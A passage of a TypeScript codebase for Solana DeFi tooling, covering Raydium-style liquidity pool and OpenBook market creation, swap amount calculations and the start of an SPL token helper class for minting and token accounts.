 728 |       input.quoteMint.toBase58() != NATIVE_MINT.toBase58() &&
 729 |       !userQuoteAtaInfo
 730 |     )
 731 |       throw "Don't have enought tokens";
 732 |     else {
 733 |       if (input.quoteMint.toBase58() == NATIVE_MINT.toBase58()) {
 734 |         const todo = web3.PublicKey.default;
 735 |         const buf = Buffer.alloc(SPL_ACCOUNT_LAYOUT.span);
 736 |         SPL_ACCOUNT_LAYOUT.encode(
 737 |           {
 738 |             mint: NATIVE_MINT,
 739 |             amount: new BN(0),
 740 |             isNative: new BN(1),
 741 |             owner: user,
 742 |             closeAuthority: todo,
 743 |             closeAuthorityOption: 1,
 744 |             delegate: todo,
 745 |             delegatedAmount: new BN(1),
 746 |             delegateOption: 1,
 747 |             isNativeOption: 1,
 748 |             state: 1,
 749 |           },
 750 |           buf
 751 |         );
 752 |         userQuoteAtaInfo = {
 753 |           data: buf,
 754 |         } as any;
 755 |       }
 756 |     }
 757 |     const baseMintState = MintLayout.decode(baseMintAccountInfo.data);
 758 |     const quoteMintState = MintLayout.decode(quoteMintAccountInfo.data);
 759 |     // const marketState = RayMarket.getLayouts(3).state.decode(marketAccountInfo.data)
 760 |     const marketInfo = {
 761 |       marketId: input.marketId,
 762 |       programId: marketAccountInfo.owner,
 763 |     };
 764 |     const baseMintInfo = {
 765 |       mint: input.baseMint,
 766 |       decimals: baseMintState.decimals,
 767 |     };
 768 |     const quoteMintInfo = {
 769 |       mint: input.quoteMint,
 770 |       decimals: quoteMintState.decimals,
 771 |     };
 772 |     const baseAmount = new BN(
 773 |       toBufferBE(
 774 |         BigInt(
 775 |           calcNonDecimalValue(
 776 |             input.baseMintAmount,
 777 |             baseMintState.decimals
 778 |           ).toString()
 779 |         ),
 780 |         8
 781 |       )
 782 |     );
 783 |     const quoteAmount = new BN(
 784 |       toBufferBE(
 785 |         BigInt(
 786 |           calcNonDecimalValue(
 787 |             input.quoteMintAmount,
 788 |             quoteMintState.decimals
 789 |           ).toString()
 790 |         ),
 791 |         8
 792 |       )
 793 |     );
 794 |     // const quoteAmount = new BN(calcNonDecimalValue(input.quoteMintAmount, quoteMintState.decimals))
 795 | 
 796 |     const poolInfo = Liquidity.getAssociatedPoolKeys({
 797 |       version: 4,
 798 |       marketVersion: 3,
 799 |       marketId: marketInfo.marketId,
 800 |       baseMint: baseMintInfo.mint,
 801 |       quoteMint: quoteMintInfo.mint,
 802 |       baseDecimals: baseMintInfo.decimals,
 803 |       quoteDecimals: quoteMintInfo.decimals,
 804 |       programId: this.ammProgramId,
 805 |       marketProgramId: marketInfo.programId,
 806 |     });
 807 |     const marketState = RayMarket.getLayouts(3).state.decode(
 808 |       marketAccountInfo.data
 809 |     );
 810 |     this.addPoolKeys(poolInfo, marketState);
 811 | 
 812 |     const startTime = new BN(Math.trunc(Date.now() / 1000) - 4);
 813 |     // const createPoolIxs = Liquidity.makeCreatePoolV4InstructionV2({
 814 |     //   programId: this.ammProgramId,
 815 |     //   ammId: poolInfo.id,
 816 |     //   ammAuthority: poolInfo.authority,
 817 |     //   ammOpenOrders: poolInfo.openOrders,
 818 |     //   lpMint: poolInfo.lpMint,
 819 |     //   coinMint: poolInfo.baseMint,
 820 |     //   pcMint: poolInfo.quoteMint,
 821 |     //   coinVault: poolInfo.baseVault,
 822 |     //   pcVault: poolInfo.quoteVault,
 823 |     //   ammTargetOrders: poolInfo.targetOrders,
 824 |     //   marketProgramId: poolInfo.marketProgramId,
 825 |     //   marketId: poolInfo.marketId,
 826 |     //   userWallet: user,
 827 |     //   userCoinVault: userBaseAta,
 828 |     //   userPcVault: userQuoteAta,
 829 |     //   userLpVault: getAssociatedTokenAddressSync(poolInfo.lpMint, user),
 830 |     //   ammConfigId: poolInfo.configId,
 831 |     //   feeDestinationId,
 832 |     //   nonce: poolInfo.nonce,
 833 |     //   openTime: startTime,
 834 |     //   coinAmount: baseAmount,
 835 |     //   pcAmount: quoteAmount,
 836 |     // }).innerTransaction
 837 | 
 838 |     const createPoolIxs = (
 839 |       await Liquidity.makeCreatePoolV4InstructionV2Simple({
 840 |         marketInfo,
 841 |         baseMintInfo,
 842 |         quoteMintInfo,
 843 |         baseAmount,
 844 |         quoteAmount,
 845 |         associatedOnly: true,
 846 |         checkCreateATAOwner: true,
 847 |         connection: this.connection,
 848 |         feeDestinationId: this.feeDestinationId,
 849 |         makeTxVersion: TxVersion.LEGACY,
 850 |         ownerInfo: {
 851 |           feePayer: user,
 852 |           tokenAccounts: [
 853 |             {
 854 |               accountInfo: SPL_ACCOUNT_LAYOUT.decode(userBaseAtaInfo!.data),
 855 |               programId: TOKEN_PROGRAM_ID,
 856 |               pubkey: userBaseAta,
 857 |             },
 858 |             {
 859 |               accountInfo: SPL_ACCOUNT_LAYOUT.decode(userQuoteAtaInfo!.data),
 860 |               programId: TOKEN_PROGRAM_ID,
 861 |               pubkey: userQuoteAta,
 862 |             },
 863 |           ],
 864 |           wallet: user,
 865 |           useSOLBalance: true,
 866 |         },
 867 |         programId: this.ammProgramId,
 868 |         startTime,
 869 |         // computeBudgetConfig: { microLamports: 250_000, units: 8000_000 },
 870 |       })
 871 |     ).innerTransactions;
 872 | 
 873 |     const ixs: web3.TransactionInstruction[] = [];
 874 |     const signers: web3.Signer[] = [];
 875 |     // ixs.push(...createPoolIxs.instructions)
 876 |     // signers.push(...createPoolIxs.signers)
 877 |     for (let ix of createPoolIxs) {
 878 |       ixs.push(...ix.instructions);
 879 |       signers.push(...ix.signers);
 880 |     }
 881 |     return {
 882 |       ixs,
 883 |       signers,
 884 |       poolId: Liquidity.getAssociatedId({
 885 |         marketId: marketInfo.marketId,
 886 |         programId: this.ammProgramId,
 887 |       }),
 888 |       baseAmount,
 889 |       quoteAmount,
 890 |       baseDecimals: poolInfo.baseDecimals,
 891 |       quoteDecimals: poolInfo.quoteDecimals,
 892 |     };
 893 |   }
 894 | 
 895 |   async createMarket(
 896 |     input: CreateMarketInput,
 897 |     user: web3.PublicKey
 898 |   ): Promise<
 899 |     Result<
 900 |       {
 901 |         marketId: web3.PublicKey;
 902 |         vaultInstructions: web3.TransactionInstruction[];
 903 |         vaultSigners: web3.Signer[];
 904 |         marketInstructions: web3.TransactionInstruction[];
 905 |         marketSigners: web3.Signer[];
 906 |       },
 907 |       string
 908 |     >
 909 |   > {
 910 |     const { Keypair, SystemProgram } = web3;
 911 |     const { baseMint, quoteMint } = input;
 912 |     const marketAccounts = {
 913 |       market: Keypair.generate(),
 914 |       requestQueue: Keypair.generate(),
 915 |       eventQueue: Keypair.generate(),
 916 |       bids: Keypair.generate(),
 917 |       asks: Keypair.generate(),
 918 |       baseVault: Keypair.generate(),
 919 |       quoteVault: Keypair.generate(),
 920 |     };
 921 |     const programID = this.orderBookProgramId;
 922 |     const vaultInstructions: web3.TransactionInstruction[] = [];
 923 |     const vaultSigners: web3.Signer[] = [];
 924 |     const [vaultOwner, vaultOwnerNonce] = await getVaultOwnerAndNonce(
 925 |       marketAccounts.market.publicKey,
 926 |       programID
 927 |     );
 928 | 
 929 |     vaultInstructions.push(
 930 |       ...[
 931 |         SystemProgram.createAccount({
 932 |           fromPubkey: user,
 933 |           newAccountPubkey: marketAccounts.baseVault.publicKey,
 934 |           lamports:
 935 |             await this.connection.getMinimumBalanceForRentExemption(
 936 |               ACCOUNT_SIZE
 937 |             ),
 938 |           space: ACCOUNT_SIZE,
 939 |           programId: TOKEN_PROGRAM_ID,
 940 |         }),
 941 |         SystemProgram.createAccount({
 942 |           fromPubkey: user,
 943 |           newAccountPubkey: marketAccounts.quoteVault.publicKey,
 944 |           lamports:
 945 |             await this.connection.getMinimumBalanceForRentExemption(
 946 |               ACCOUNT_SIZE
 947 |             ),
 948 |           space: ACCOUNT_SIZE,
 949 |           programId: TOKEN_PROGRAM_ID,
 950 |         }),
 951 |         createInitializeAccountInstruction(
 952 |           marketAccounts.baseVault.publicKey,
 953 |           baseMint,
 954 |           vaultOwner
 955 |         ),
 956 |         createInitializeAccountInstruction(
 957 |           marketAccounts.quoteVault.publicKey,
 958 |           quoteMint,
 959 |           vaultOwner
 960 |         ),
 961 |       ]
 962 |     );
 963 |     vaultSigners.push(marketAccounts.baseVault, marketAccounts.quoteVault);
 964 |     const [baseMintAccountInfo, quoteMintAccountInfo] =
 965 |       await this.connection.getMultipleAccountsInfo([baseMint, quoteMint]);
 966 |     let baseMintDecimals: number;
 967 |     let quoteMintDecimals: number;
 968 |     if (!baseMintAccountInfo || !quoteMintAccountInfo)
 969 |       return { Err: "Invalid token address! Token not found" };
 970 |     try {
 971 |       baseMintDecimals = MintLayout.decode(baseMintAccountInfo.data).decimals;
 972 |       quoteMintDecimals = MintLayout.decode(quoteMintAccountInfo.data).decimals;
 973 |     } catch (error) {
 974 |       return { Err: "Invalid token address! Token not found" };
 975 |     }
 976 |     let tickers = input.tickers;
 977 |     const baseLotSize = new BN(
 978 |       Math.round(10 ** baseMintDecimals * tickers.lotSize)
 979 |     );
 980 |     const quoteLotSize = new BN(
 981 |       Math.round(tickers.lotSize * 10 ** quoteMintDecimals * tickers.tickSize)
 982 |     );
 983 |     if (baseLotSize.eq(ZERO)) return { Err: "lot size is too small" };
 984 |     if (quoteLotSize.eq(ZERO))
 985 |       return { Err: "tick size or lot size is too small" };
 986 |     // log({ baseLotSize: baseLotSize.toNumber() })
 987 |     // log({ quoteLotSize: quoteLotSize.toNumber() })
 988 | 
 989 |     // create market account
 990 |     const marketInstructions: web3.TransactionInstruction[] = [];
 991 |     const marketSigners: web3.Signer[] = [
 992 |       marketAccounts.market,
 993 |       marketAccounts.bids,
 994 |       marketAccounts.asks,
 995 |       marketAccounts.eventQueue,
 996 |       marketAccounts.requestQueue,
 997 |     ];
 998 |     marketInstructions.push(
 999 |       SystemProgram.createAccount({
1000 |         newAccountPubkey: marketAccounts.market.publicKey,
1001 |         fromPubkey: user,
1002 |         space: Market.getLayout(programID).span,
1003 |         lamports: await this.connection.getMinimumBalanceForRentExemption(
1004 |           Market.getLayout(programID).span
1005 |         ),
1006 |         programId: programID,
1007 |       })
1008 |     );
1009 |     const { totalEventQueueSize, totalOrderbookSize, totalRequestQueueSize } =
1010 |       useSerumMarketAccountSizes(
1011 |         {
1012 |           eventQueueLength: EVENT_QUEUE_LENGTH,
1013 |           requestQueueLength: REQUEST_QUEUE_LENGTH,
1014 |           orderbookLength: ORDERBOOK_LENGTH,
1015 |         },
1016 |         this.connection,
1017 |         programID
1018 |       );
1019 |     // create request queue
1020 |     marketInstructions.push(
1021 |       SystemProgram.createAccount({
1022 |         newAccountPubkey: marketAccounts.requestQueue.publicKey,
1023 |         fromPubkey: user,
1024 |         space: totalRequestQueueSize,
1025 |         lamports: await this.connection.getMinimumBalanceForRentExemption(
1026 |           totalRequestQueueSize
1027 |         ),
1028 |         programId: programID,
1029 |       })
1030 |     );
1031 |     // create event queue
1032 |     marketInstructions.push(
1033 |       SystemProgram.createAccount({
1034 |         newAccountPubkey: marketAccounts.eventQueue.publicKey,
1035 |         fromPubkey: user,
1036 |         space: totalEventQueueSize,
1037 |         lamports:
1038 |           await this.connection.getMinimumBalanceForRentExemption(
1039 |             totalEventQueueSize
1040 |           ),
1041 |         programId: programID,
1042 |       })
1043 |     );
1044 | 
1045 |     const orderBookRentExempt =
1046 |       await this.connection.getMinimumBalanceForRentExemption(
1047 |         totalOrderbookSize
1048 |       );
1049 |     // create bids
1050 |     marketInstructions.push(
1051 |       SystemProgram.createAccount({
1052 |         newAccountPubkey: marketAccounts.bids.publicKey,
1053 |         fromPubkey: user,
1054 |         space: totalOrderbookSize,
1055 |         lamports: orderBookRentExempt,
1056 |         programId: programID,
1057 |       })
1058 |     );
1059 |     // create asks
1060 |     marketInstructions.push(
1061 |       SystemProgram.createAccount({
1062 |         newAccountPubkey: marketAccounts.asks.publicKey,
1063 |         fromPubkey: user,
1064 |         space: totalOrderbookSize,
1065 |         lamports: orderBookRentExempt,
1066 |         programId: programID,
1067 |       })
1068 |     );
1069 |     marketInstructions.push(
1070 |       DexInstructions.initializeMarket({
1071 |         market: marketAccounts.market.publicKey,
1072 |         requestQueue: marketAccounts.requestQueue.publicKey,
1073 |         eventQueue: marketAccounts.eventQueue.publicKey,
1074 |         bids: marketAccounts.bids.publicKey,
1075 |         asks: marketAccounts.asks.publicKey,
1076 |         baseVault: marketAccounts.baseVault.publicKey,
1077 |         quoteVault: marketAccounts.quoteVault.publicKey,
1078 |         baseMint,
1079 |         quoteMint,
1080 |         baseLotSize,
1081 |         quoteLotSize,
1082 |         feeRateBps: 150, // Unused in v3
1083 |         quoteDustThreshold: new BN(500), // Unused in v3
1084 |         vaultSignerNonce: vaultOwnerNonce,
1085 |         programId: programID,
1086 |       })
1087 |     );
1088 | 
1089 |     return {
1090 |       Ok: {
1091 |         marketId: marketAccounts.market.publicKey,
1092 |         vaultInstructions,
1093 |         vaultSigners,
1094 |         marketInstructions,
1095 |         marketSigners,
1096 |       },
1097 |     };
1098 |   }
1099 | 
1100 |   async computeBuyAmount(
1101 |     input: ComputeBuyAmountInput,
1102 |     etc?: {
1103 |       extraBaseResever?: number;
1104 |       extraQuoteReserve?: number;
1105 |       extraLpSupply?: number;
1106 |     }
1107 |   ) {
1108 |     const { amount, buyToken, inputAmountType, poolKeys, user } = input;
1109 |     const slippage = input.slippage ?? new Percent(1, 100);
1110 |     const base = poolKeys.baseMint;
1111 |     const baseMintDecimals = poolKeys.baseDecimals;
1112 |     const quote = poolKeys.quoteMint;
1113 |     const quoteMintDecimals = poolKeys.quoteDecimals;
1114 |     const baseTokenAccount = getAssociatedTokenAddressSync(base, user);
1115 |     const quoteTokenAccount = getAssociatedTokenAddressSync(quote, user);
1116 |     const baseR = new Token(TOKEN_PROGRAM_ID, base, baseMintDecimals);
1117 |     const quoteR = new Token(TOKEN_PROGRAM_ID, quote, quoteMintDecimals);
1118 |     let amountIn: TokenAmount;
1119 |     let amountOut: TokenAmount;
1120 |     let tokenAccountIn: web3.PublicKey;
1121 |     let tokenAccountOut: web3.PublicKey;
1122 |     const [lpAccountInfo, baseVAccountInfo, quoteVAccountInfo] =
1123 |       await this.connection
1124 |         .getMultipleAccountsInfo(
1125 |           [poolKeys.lpMint, poolKeys.baseVault, poolKeys.quoteVault].map(
1126 |             (e) => new web3.PublicKey(e)
1127 |           )
1128 |         )
1129 |         .catch(() => [null, null, null, null]);
1130 |     if (!lpAccountInfo || !baseVAccountInfo || !quoteVAccountInfo)
1131 |       throw "Failed to fetch some data";
1132 |     // const lpSupply = new BN(Number(MintLayout.decode(lpAccountInfo.data).supply.toString()))
1133 |     // const baseReserve = new BN(Number(AccountLayout.decode(baseVAccountInfo.data).amount.toString()))
1134 |     // const quoteReserve = new BN(Number(AccountLayout.decode(quoteVAccountInfo.data).amount.toString()))
1135 | 
1136 |     const lpSupply = new BN(
1137 |       toBufferBE(MintLayout.decode(lpAccountInfo.data).supply, 8)
1138 |     ).addn(etc?.extraLpSupply ?? 0);
1139 |     const baseReserve = new BN(
1140 |       toBufferBE(AccountLayout.decode(baseVAccountInfo.data).amount, 8)
1141 |     ).addn(etc?.extraBaseResever ?? 0);
1142 |     const quoteReserve = new BN(
1143 |       toBufferBE(AccountLayout.decode(quoteVAccountInfo.data).amount, 8)
1144 |     ).addn(etc?.extraQuoteReserve ?? 0);
1145 |     let fixedSide: SwapSide;
1146 | 
1147 |     const poolInfo: LiquidityPoolInfo = {
1148 |       baseDecimals: poolKeys.baseDecimals,
1149 |       quoteDecimals: poolKeys.quoteDecimals,
1150 |       lpDecimals: poolKeys.lpDecimals,
1151 |       lpSupply,
1152 |       baseReserve,
1153 |       quoteReserve,
1154 |       startTime: null as any,
1155 |       status: null as any,
1156 |     };
1157 | 
1158 |     if (inputAmountType == "send") {
1159 |       fixedSide = "in";
1160 |       if (buyToken == "base") {
1161 |         amountIn = new TokenAmount(quoteR, amount.toString(), false);
1162 |         // amountOut = Liquidity.computeAmountOut({ amountIn, currencyOut: baseR, poolInfo, poolKeys, slippage }).amountOut
1163 |         amountOut = Liquidity.computeAmountOut({
1164 |           amountIn,
1165 |           currencyOut: baseR,
1166 |           poolInfo,
1167 |           poolKeys,
1168 |           slippage,
1169 |         }).minAmountOut as TokenAmount;
1170 |       } else {
1171 |         amountIn = new TokenAmount(baseR, amount.toString(), false);
1172 |         // amountOut = Liquidity.computeAmountOut({ amountIn, currencyOut: quoteR, poolInfo, poolKeys, slippage }).amountOut
1173 |         amountOut = Liquidity.computeAmountOut({
1174 |           amountIn,
1175 |           currencyOut: quoteR,
1176 |           poolInfo,
1177 |           poolKeys,
1178 |           slippage,
1179 |         }).minAmountOut as TokenAmount;
1180 |       }
1181 |     } else {
1182 |       fixedSide = "out";
1183 |       if (buyToken == "base") {
1184 |         amountOut = new TokenAmount(baseR, amount.toString(), false);
1185 |         // amountIn = Liquidity.computeAmountIn({ amountOut, currencyIn: quoteR, poolInfo, poolKeys, slippage }).amountIn
1186 |         amountIn = Liquidity.computeAmountIn({
1187 |           amountOut,
1188 |           currencyIn: quoteR,
1189 |           poolInfo,
1190 |           poolKeys,
1191 |           slippage,
1192 |         }).maxAmountIn as TokenAmount;
1193 |       } else {
1194 |         amountOut = new TokenAmount(quoteR, amount.toString(), false);
1195 |         // amountIn = Liquidity.computeAmountIn({ amountOut, currencyIn: baseR, poolInfo, poolKeys, slippage }).amountIn
1196 |         amountIn = Liquidity.computeAmountIn({
1197 |           amountOut,
1198 |           currencyIn: baseR,
1199 |           poolInfo,
1200 |           poolKeys,
1201 |           slippage,
1202 |         }).maxAmountIn as TokenAmount;
1203 |       }
1204 |     }
1205 |     if (buyToken == "base") {
1206 |       tokenAccountOut = baseTokenAccount;
1207 |       tokenAccountIn = quoteTokenAccount;
1208 |     } else {
1209 |       tokenAccountOut = quoteTokenAccount;
1210 |       tokenAccountIn = baseTokenAccount;
1211 |     }
1212 | 
1213 |     return {
1214 |       amountIn,
1215 |       amountOut,
1216 |       tokenAccountIn,
1217 |       tokenAccountOut,
1218 |       fixedSide,
1219 |     };
1220 |   }
1221 | 
1222 |   async computeAnotherAmount({
1223 |     amount,
1224 |     fixedSide,
1225 |     poolKeys,
1226 |     isRawAmount,
1227 |     slippage,
1228 |   }: ComputeAnotherAmountInput) {
1229 |     isRawAmount = isRawAmount ?? true;
1230 |     slippage = slippage ?? new Percent(1, 100);
1231 |     const {
1232 |       baseMint,
1233 |       baseVault,
1234 |       quoteMint,
1235 |       quoteVault,
1236 |       baseDecimals,
1237 |       quoteDecimals,
1238 |       lpDecimals,
1239 |       lpMint,
1240 |     } = poolKeys;
1241 | 
1242 |     const anotherToken =
1243 |       fixedSide == "base" ? poolKeys.quoteMint : poolKeys.baseMint;
1244 |     // if (anotherToken.toBase58() != baseMint.toBase58() && anotherToken.toBase58() != quoteMint.toBase58()) throw "Invalid another token"
1245 | 
1246 |     //TODO: create another function (refactor)
1247 |     const [poolAccountInfo, baseVAccountInfo, quoteVAccountInfo, lpMintAInfo] =
1248 |       await this.connection
1249 |         .getMultipleAccountsInfo([poolKeys.id, baseVault, quoteVault, lpMint])
1250 |         .catch(() => [null, null, null, null, null]);
1251 |     if (
1252 |       !poolAccountInfo ||
1253 |       !baseVAccountInfo ||
1254 |       !quoteVAccountInfo ||
1255 |       !lpMintAInfo
1256 |     )
1257 |       throw "Failed to fetch somedata";
1258 |     let poolState: LiquidityStateV4 | LiquidityStateV5 | undefined = undefined;
1259 |     if (poolAccountInfo.data.length == LIQUIDITY_STATE_LAYOUT_V4.span) {
1260 |       poolState = LIQUIDITY_STATE_LAYOUT_V4.decode(poolAccountInfo.data);
1261 |     } else if (poolAccountInfo.data.length == LIQUIDITY_STATE_LAYOUT_V5.span) {
1262 |       poolState = LIQUIDITY_STATE_LAYOUT_V5.decode(poolAccountInfo.data);
1263 |     } else throw "Invalid Pool data lenght";
1264 |     if (!poolState) throw "Invalid pool address";
1265 |     const lpSupply = new BN(
1266 |       Number(MintLayout.decode(lpMintAInfo.data).supply.toString())
1267 |     );
1268 |     const baseReserve = new BN(
1269 |       Number(AccountLayout.decode(baseVAccountInfo.data).amount.toString())
1270 |     );
1271 |     const quoteReserve = new BN(
1272 |       Number(AccountLayout.decode(quoteVAccountInfo.data).amount.toString())
1273 |     );
1274 | 
1275 |     let current: Token;
1276 |     let currentTokenAmount: TokenAmount;
1277 |     let another: Token;
1278 |     // let anotherTokenAmount: TokenAmount
1279 |     if (anotherToken.toBase58() == quoteMint.toBase58()) {
1280 |       current = new Token(TOKEN_PROGRAM_ID, baseMint, baseDecimals);
1281 |       another = new Token(TOKEN_PROGRAM_ID, quoteMint, quoteDecimals);
1282 |       currentTokenAmount = new TokenAmount(
1283 |         current,
1284 |         amount.toString(),
1285 |         isRawAmount
1286 |       );
1287 |     } else {
1288 |       current = new Token(TOKEN_PROGRAM_ID, quoteMint, quoteDecimals);
1289 |       another = new Token(TOKEN_PROGRAM_ID, baseMint, baseDecimals);
1290 |       currentTokenAmount = new TokenAmount(
1291 |         current,
1292 |         amount.toString(),
1293 |         isRawAmount
1294 |       );
1295 |     }
1296 | 
1297 |     const { status, poolOpenTime } = poolState;
1298 |     const poolInfo: LiquidityPoolInfo = {
1299 |       baseDecimals,
1300 |       quoteDecimals,
1301 |       baseReserve,
1302 |       lpDecimals,
1303 |       lpSupply,
1304 |       quoteReserve,
1305 |       startTime: poolOpenTime,
1306 |       status,
1307 |     };
1308 |     const res = Liquidity.computeAnotherAmount({
1309 |       poolKeys,
1310 |       slippage,
1311 |       amount: currentTokenAmount,
1312 |       anotherCurrency: another,
1313 |       poolInfo,
1314 |     });
1315 | 
1316 |     if (current.mint.toBase58() == baseMint.toBase58()) {
1317 |       return {
1318 |         baseMintAmount: currentTokenAmount.raw,
1319 |         quoteMintAmount: res.maxAnotherAmount.raw,
1320 |         liquidity: res.liquidity,
1321 |       };
1322 |     } else {
1323 |       return {
1324 |         baseMintAmount: res.maxAnotherAmount.raw,
1325 |         quoteMintAmount: currentTokenAmount.raw,
1326 |         liquidity: res.liquidity,
1327 |       };
1328 |     }
1329 |   }
1330 | }
1331 | 


--------------------------------------------------------------------------------
/base/baseSpl.ts:
--------------------------------------------------------------------------------
  1 | import { web3 } from "@project-serum/anchor";
  2 | import {
  3 |   MINT_SIZE,
  4 |   AuthorityType as SetAuthorityType,
  5 |   TOKEN_PROGRAM_ID,
  6 |   AccountLayout as TokenAccountLayout,
  7 |   createAssociatedTokenAccountInstruction,
  8 |   createBurnInstruction,
  9 |   createInitializeMintInstruction,
 10 |   createMintToInstruction,
 11 |   createSetAuthorityInstruction,
 12 |   createTransferInstruction,
 13 |   getAssociatedTokenAddressSync,
 14 |   getMint
 15 | } from "@solana/spl-token";
 16 | import { calcDecimalValue, calcNonDecimalValue, sleep } from "./utils";
 17 | 
 18 | const log = console.log;
 19 | 
 20 | export type CreateTokenOptions = {
 21 |   mintAuthority: web3.PublicKey;
 22 |   /** default (`mintAuthority`) */
 23 |   payer?: web3.PublicKey;
 24 |   /** default (`mintAuthority`) */
 25 |   freezAuthority?: web3.PublicKey;
 26 |   /** default (`0`) */
 27 |   decimal?: number;
 28 |   /** default (`Keypair.genrate()`) */
 29 |   mintKeypair?: web3.Keypair,
 30 |   mintingInfo?: {
 31 |     /** default (`mintAuthority`) */
 32 |     tokenReceiver?: web3.PublicKey;
 33 |     /** default (`1`) */
 34 |     tokenAmount?: number;
 35 |     /** default (`false`) */
 36 |     allowOffCurveOwner?: boolean;
 37 |   };
 38 | };
 39 | 
 40 | export type GetOrCreateTokenAccountOptions = {
 41 |   mint: web3.PublicKey,
 42 |   owner: web3.PublicKey,
 43 |   /** default (`owner`) */
 44 |   payer?: web3.PublicKey,
 45 |   /** default (`false`) */
 46 |   allowOffCurveOwner?: boolean;
 47 |   checkCache?: boolean
 48 | }
 49 | 
 50 | export type MintToInput = {
 51 |   mintAuthority: web3.PublicKey | string,
 52 |   /** default (`mintAuthority`) */
 53 |   receiver?: web3.PublicKey | string
 54 |   mint: web3.PublicKey | string,
 55 |   /** default (`1`) */
 56 |   amount?: number,
 57 |   /** default (`false`) */
 58 |   receiverIsOffCurve?: boolean,
 59 |   /** default (`false`) */
 60 |   init_if_needed?: boolean
 61 |   /** default (`null`) fetch from mint*/
 62 |   mintDecimal?: number
 63 | }
 64 | 
 65 | export type TransferInput = {
 66 |   sender: web3.PublicKey | string,
 67 |   receiver: web3.PublicKey | string
 68 |   mint: web3.PublicKey | string,
 69 |   /** default (`1`) */
 70 |   amount?: number,
 71 |   receiverIsOffCurve?: boolean,
 72 |   /** get decimal from onchain token data if not found provided */
 73 |   decimal?: number
 74 |   init_if_needed?: boolean
 75 |   /** default (`sender`) */
 76 |   payer?: web3.PublicKey | string,
 77 | }
 78 | 
 79 | export type BurnInput = {
 80 |   mint: web3.PublicKey | string,
 81 |   owner: web3.PublicKey | string,
 82 |   amount?: number,
 83 |   decimal?: number
 84 | }
 85 | 
 86 | export type TranferMintAuthority = {
 87 |   mint: web3.PublicKey,
 88 |   currentAuthority: web3.PublicKey,
 89 |   newAuthority: web3.PublicKey,
 90 | }
 91 | 
 92 | export type RevokeAuthorityInput = {
 93 |   authorityType: "MINTING" | "FREEZING",
 94 |   mint: web3.PublicKey,
 95 |   currentAuthority: web3.PublicKey,
 96 | }
 97 | 
 98 | export class BaseSpl {
 99 |   private connection: web3.Connection;
100 |   private splIxs: web3.TransactionInstruction[] = [];
101 |   private cacheAta: Set<String>;
102 | 
103 |   constructor(connection: web3.Connection) {
104 |     this.connection = connection;
105 |     this.cacheAta = new Set();
106 |   }
107 | 
108 |   __reinit() {
109 |     this.splIxs = [];
110 |     this.cacheAta = new Set();
111 |   }
112 | 
113 |   async createToken(opts: CreateTokenOptions) {
114 |     this.__reinit();
115 |     let {
116 |       mintAuthority,
117 |       decimal,
118 |       payer,
119 |       freezAuthority,
120 |       mintKeypair,
121 |       mintingInfo,
122 |     } = opts;
123 | 
124 |     payer = payer ?? mintAuthority;
125 |     freezAuthority = freezAuthority ?? mintAuthority;
126 |     decimal = decimal ?? 0;
127 |     mintKeypair = mintKeypair ?? web3.Keypair.generate();
128 | 
129 |     const mint = mintKeypair.publicKey;
130 |     const rent = await this.connection.getMinimumBalanceForRentExemption(
131 |       MINT_SIZE
132 |     );
133 | 
134 |     const ix1 = web3.SystemProgram.createAccount({
135 |       fromPubkey: payer,
136 |       lamports: rent,
137 |       newAccountPubkey: mint,
138 |       programId: TOKEN_PROGRAM_ID,
139 |       space: MINT_SIZE,
140 |     });
141 |     this.splIxs.push(ix1);
142 | 
143 |     const ix2 = createInitializeMintInstruction(
144 |       mintKeypair.publicKey,
145 |       decimal,
146 |       mintAuthority,
147 |       freezAuthority
148 |     );
149 |     this.splIxs.push(ix2);
150 | 
151 |     if (mintingInfo && mintingInfo.tokenAmount) {
152 |       let {
153 |         tokenReceiver,
154 |         allowOffCurveOwner,
155 |         tokenAmount
156 |       } = mintingInfo;
157 |       tokenReceiver = mintingInfo.tokenReceiver ?? opts.mintAuthority;
158 |       allowOffCurveOwner = allowOffCurveOwner ?? false;
159 |       tokenAmount = tokenAmount ?? 1
160 |       tokenAmount = tokenAmount * (10 ** decimal)
161 |       const { ata, ix: createTokenAccountIx } =
162 |         this.createTokenAccount(
163 |           mint,
164 |           tokenReceiver,
165 |           allowOffCurveOwner,
166 |           payer,
167 |         );
168 |       this.splIxs.push(createTokenAccountIx);
169 |       const ix3 = createMintToInstruction(
170 |         mint,
171 |         ata,
172 |         mintAuthority,
173 |         tokenAmount
174 |       );
175 |       this.splIxs.push(ix3);
176 |     }
177 |     const ixs = this.splIxs;
178 |     this.__reinit();
179 |     return {
180 |       mintKeypair,
181 |       ixs,
182 |     };
183 |   }
184 | 
185 |   createTokenAccount(
186 |     mint: web3.PublicKey,
187 |     owner: web3.PublicKey,
188 |     allowOffCurveOwner: boolean = false,
189 |     payer?: web3.PublicKey
190 |   ) {
191 |     const ata = getAssociatedTokenAddressSync(mint, owner, allowOffCurveOwner);
192 |     const ix = createAssociatedTokenAccountInstruction(
193 |       payer ?? owner,
194 |       ata,
195 |       owner,
196 |       mint
197 |     );
198 | 
199 |     return {
200 |       ata,
201 |       ix,
202 |     };
203 |   }
204 | 
205 |   async getOrCreateTokenAccount(
206 |     input: GetOrCreateTokenAccountOptions,
207 |     ixCallBack?: (ixs?: web3.TransactionInstruction[]) => void
208 |   ) {
209 |     let {
210 |       owner,
211 |       mint,
212 |       payer,
213 |       allowOffCurveOwner,
214 |       checkCache
215 |     } = input;
216 |     allowOffCurveOwner = allowOffCurveOwner ?? false
217 |     payer = payer ?? owner;
218 |     const ata = getAssociatedTokenAddressSync(mint, owner, allowOffCurveOwner);
219 |     let ix: web3.TransactionInstruction | null = null;
220 |     const info = await this.connection.getAccountInfo(ata).catch(async () => {
221 |       await sleep(2_000)
222 |       return this.connection.getAccountInfo(ata).catch((getAccountInfoError) => {
223 |         log({ getAccountInfoError })
224 |         return undefined
225 |       })
226 |     });
227 |     if (info === undefined) throw "Failed to fetch data"
228 | 
229 |     if (!info) {
230 |       ix = this.createTokenAccount(mint, owner, allowOffCurveOwner, payer).ix;
231 |       if (ixCallBack) {
232 |         if (checkCache) {
233 |           if (!this.cacheAta.has(ata.toBase58())) {
234 |             ixCallBack([ix])
235 |             this.cacheAta.add(ata.toBase58())
236 |           } else log("already exist")
237 |         } else {
238 |           ixCallBack([ix])
239 |         }
240 |       }
241 |     }
242 |     return {
243 |       ata,
244 |       ix,
245 |     };
246 |   }
247 | 
248 |   async getMintToInstructions(input: MintToInput) {
249 |     let { mintAuthority, mint, receiver, amount, receiverIsOffCurve, init_if_needed, mintDecimal } = input;
